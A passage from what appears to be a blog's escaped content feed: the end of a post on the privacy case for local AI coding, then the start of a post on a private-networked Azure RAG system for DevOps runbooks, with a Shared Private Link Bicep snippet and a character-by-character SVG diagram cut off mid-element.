never traverse a network adapter, and you can prove this empirically.\u003c/p\u003e\n\u003cp\u003eThe operationalization challenge is hardware and provisioning. Developers need machines fast enough to run 8B models at 40+ tokens/sec, or they\u0026rsquo;ll route around the policy. Pre-provision models via internal distribution tooling. Lock Ollama to localhost. Audit telemetry on every tool in the stack. The EU AI Act\u0026rsquo;s enforceability deadline is August 2026 — if your organization uses cloud AI tools with regulated data and hasn\u0026rsquo;t evaluated the data processing agreement implications, that\u0026rsquo;s the timeline to work with.\u003c/p\u003e\n\u003ch2 id=\"sources\"\u003eSources\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://artificialintelligenceact.eu/\"\u003eEU Artificial Intelligence Act\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.nist.gov/itl/ai-risk-management-framework\"\u003eNIST AI Risk Management Framework\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://owasp.org/www-project-top-10-for-large-language-model-applications/\"\u003eOWASP Top 10 for LLM Applications\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ollama/ollama/blob/main/docs/faq.md\"\u003eOllama Security and Network Configuration FAQ\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!--\n### Image Generation Prompts\n1. **Cyber-Industrial / Data Flow:** Wide landscape format, 16:9 aspect ratio. A glowing, isolated server node sitting inside a secure, dark industrial vault, surrounded by impenetrable digital forcefields. Streams of glowing blue and green data circulate purely within the boundaries of the server, never escaping. High contrast, dark aesthetic, futuristic tech vibe, dramatic lighting, no text or UI elements, no faces.\n\n2. **3D Abstract / Isometric:** Wide landscape format, 16:9 aspect ratio. A clean, isometric 3D rendering of an isolated, self-contained computational engine. Geometric shapes like glowing cubes and cylinders connected by closed-loop pipelines, representing data that never leaves the system. Soft matte claymorphism textures, dark mode color palette with vibrant teal and purple accents, no text or letters, no faces.\n\n3. **Photorealistic / Cinematic:** Wide landscape format, 16:9 aspect ratio. A dramatic, close-up macro shot of a high-end GPU glowing with internal processing power, enclosed in a thick, frosted glass containment unit symbolizing total privacy and security. Subtle server room bokeh in the background, cinematic lighting, sharp focus on the hardware details, no text or labels, no faces.\n--\u003e\n","description":"An analysis of the data security benefits of local AI coding, explaining how keeping code off third-party servers solves major compliance headaches.","image":"images/featured.webp","permalink":"https://larryjameshenry.com/posts/enterprise-case-security-privacy-local-ai/","title":"The Enterprise Case: Security and Privacy with Local AI"},{"content":"\u003cp\u003eIt\u0026rsquo;s 2am. You\u0026rsquo;re paged for a SEV1. Your runbooks are scattered across Confluence pages, SharePoint libraries, GitHub wikis, and a legacy shared drive that nobody admits still exists. You search three systems, find conflicting procedures with different dates, and end up calling the person who wrote the original playbook—who is, naturally, asleep. A Retrieval-Augmented Generation (RAG) system built on your internal docs solves this. But only if the architecture ensures that a query about your payment service doesn\u0026rsquo;t leak context from your restricted security procedures to the wrong person asking.\u003c/p\u003e\n\u003cp\u003eMost RAG implementations reach for the simplest path: public APIs, shared indexes, no access controls. That works fine for public documentation. Your internal DevOps docs are a different problem. They contain architecture diagrams with subscription IDs, credential rotation procedures, and network topology details that must not cross team boundaries. A secure RAG system requires private networking, identity-based access, and document-level security trimming.\u003c/p\u003e\n\u003ch2 id=\"1-rag-architecture-for-internal-devops-documentation\"\u003e1. RAG Architecture for Internal DevOps Documentation\u003c/h2\u003e\n\u003cp\u003eUnlike fine-tuning, which \u0026ldquo;bakes\u0026rdquo; knowledge into model weights at training time, RAG retrieves relevant document chunks at query time. For DevOps teams, where runbooks change with every incident and architecture decision, RAG\u0026rsquo;s freshness is decisive. A new playbook added Monday is available to your on-call engineers Monday afternoon, without model retraining.\u003c/p\u003e\n\u003ch3 id=\"the-secure-rag-component-stack\"\u003eThe Secure RAG Component Stack\u003c/h3\u003e\n\u003cp\u003eThe architecture consists of five core layers:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003eAzure Blob Storage:\u003c/strong\u003e The document corpus containing raw Markdown, PDFs, or post-mortems.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eAzure AI Search:\u003c/strong\u003e The vector engine storing document embeddings and metadata.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eAzure OpenAI (Embeddings):\u003c/strong\u003e Converts document chunks and queries into 1536-dimensional vectors.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eAzure OpenAI (Chat):\u003c/strong\u003e Constructs the final answer using the retrieved context.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eAzure Functions (Orchestrator):\u003c/strong\u003e Handles ingestion triggers and query-time security filtering.\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003eEvery component sits inside a Virtual Network. Traffic between AI Search and Azure OpenAI never leaves the Microsoft backbone, and your orchestrator communicates with the models via Private Endpoints.\u003c/p\u003e\n\u003ch2 id=\"2-private-networking-for-the-rag-stack\"\u003e2. Private Networking for the RAG Stack\u003c/h2\u003e\n\u003cp\u003eThe foundation of a secure knowledge base is removing public internet exposure. Configure Azure AI Search and Blob Storage with Private Endpoints, just like the OpenAI resource described in \u003ca href=\"/posts/configuring-azure-openai-private-link/\"\u003eConfiguring Azure OpenAI Private Link: Keeping AI Traffic Off the Public Internet\u003c/a\u003e.\u003c/p\u003e\n\u003ch3 id=\"outbound-shared-private-link\"\u003eOutbound Shared Private Link\u003c/h3\u003e\n\u003cp\u003eA common architectural oversight is the ingestion path. If your AI Search indexer needs to call Azure OpenAI to vectorize documents, that call must be secure. In 2026, we use \u003cstrong\u003eShared Private Link Resources\u003c/strong\u003e to enable outbound connectivity from AI Search to other private Azure services.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bicep\" data-lang=\"bicep\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e// Outbound Shared Private Link from Search to OpenAI\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eresource\u003c/span\u003e searchToOpenAiLink \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Microsoft.Search/searchServices/sharedPrivateLinkResources@2024-03-01-preview\u0026#39;\u003c/span\u003e = {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  parent: searchService\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  name: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;link-to-openai\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  properties: {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    privateLinkResourceId: openAiResourceId \u003cspan style=\"color:#75715e\"\u003e// Full ARM resource ID of OpenAI\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    groupId: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;openai_account\u0026#39;\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e// Specific group for outbound Azure OpenAI calls\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    requestMessage: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Enable secure vectorization for DevOps indexer.\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cstrong\u003eNote:\u003c/strong\u003e Once deployed, this connection enters a \u0026ldquo;Pending\u0026rdquo; status and MUST be approved in the target Azure OpenAI resource\u0026rsquo;s \u003cstrong\u003eNetworking\u003c/strong\u003e blade before the indexer can communicate.\u003c/p\u003e\n\u003ch3 id=\"ingestion-path-via-shared-private-link\"\u003eIngestion Path via Shared Private Link\u003c/h3\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n\t\n\t\t\u003csvg\n\t\t\txmlns=\"http://www.w3.org/2000/svg\"\n\t\t\tfont-family=\"Menlo,Lucida Console,monospace\"\n\t\t\t\n\t\t\t\tviewBox=\"0 0 688 249\"\n\t\t\t\u003e\n\t\t\t\u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 48,16 L 280,16' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 440,16 L 672,16' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 288,80 L 312,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 400,80 L 432,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 448,80 L 472,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,112 L 168,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 168,112 L 280,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 440,112 L 672,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,176 L 160,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 176,176 L 280,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,224 L 280,224' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,16 L 48,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,176 L 48,224' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 168,112 L 168,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 168,160 L 168,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 280,16 L 280,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 280,176 L 280,224' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 440,16 L 440,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 672,16 L 672,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='176.000000,176.000000 164.000000,170.399994 164.000000,181.600006' fill='currentColor' transform='rotate(90.000000, 168.000000, 176.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='480.000000,80.000000 468.000000,74.400002 468.000000,85.599998' fill='currentColor' transform='rotate(0.000000, 472.000000, 80.000000)'\u003e\u003c/polygon\u003e\n\u003ctext text-anchor='middle' x='48' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='4' fill='currentColor' style='font-size:1em'\u003eH\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='148' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='4' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='36' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='52' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='84' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='148' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='196' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='212' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='4' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='36' fill='currentColor' style='font-size:1em'\u003ez\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='52' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='148' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='196' fill='currentColor' style='font-size:1em'\u003ez\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='212' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='36' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='52' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='84' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='148' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='196' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='212' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='4' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='36' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='52' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='84' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='148' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='196' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='212' fill='currentColor' style='font-size:1em'\u003ew\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='4' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='52' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='84' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='196' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='52' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='84' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='148' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='212' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='36' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='52' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='84' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='148' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='196' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='212' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='36' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='52' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='84' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='148' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='196' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='212' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='52' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='148' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='196' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='212' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='36' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='84' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='148' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='196' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='212' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='84' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='148' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='212' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='36' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='84' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='148' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='196' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='212' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='36' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='84' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='148' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='196' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='212' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='36' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='84' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='196' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='212' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='36' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='84' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='148' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='196' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='84' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='148' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='196' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='148' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='196' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='84' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='148' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='196' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='84' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='148' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='84' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='148' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='84' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='148' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='148' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='84' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='84' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='84' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='84' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='84' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='84' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='84' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='84' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='84' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='84' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='84' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='84' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='4' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='36' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='52' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='4' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='36' fill='currentColor' style='font-size:1em'\u003ez\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='52' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='36' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='52' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='4' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='36' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='52' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='84' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='4' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='52' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='4' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='52' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='84' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='4' fill='currentColor' style='font-size:1em'\u003eF\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='36' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='52' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='84' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='36' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='52' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='84' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='52' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='84' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='4' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='36' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='52' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='84' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='36' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='84' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='4' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='36' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='52' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='84' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='4' fill='currentColor' style='font-size:1em'\u003eK\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='52' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='4' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='52' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='84' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='4' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='52' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='84' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='4' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='52' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='84' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' 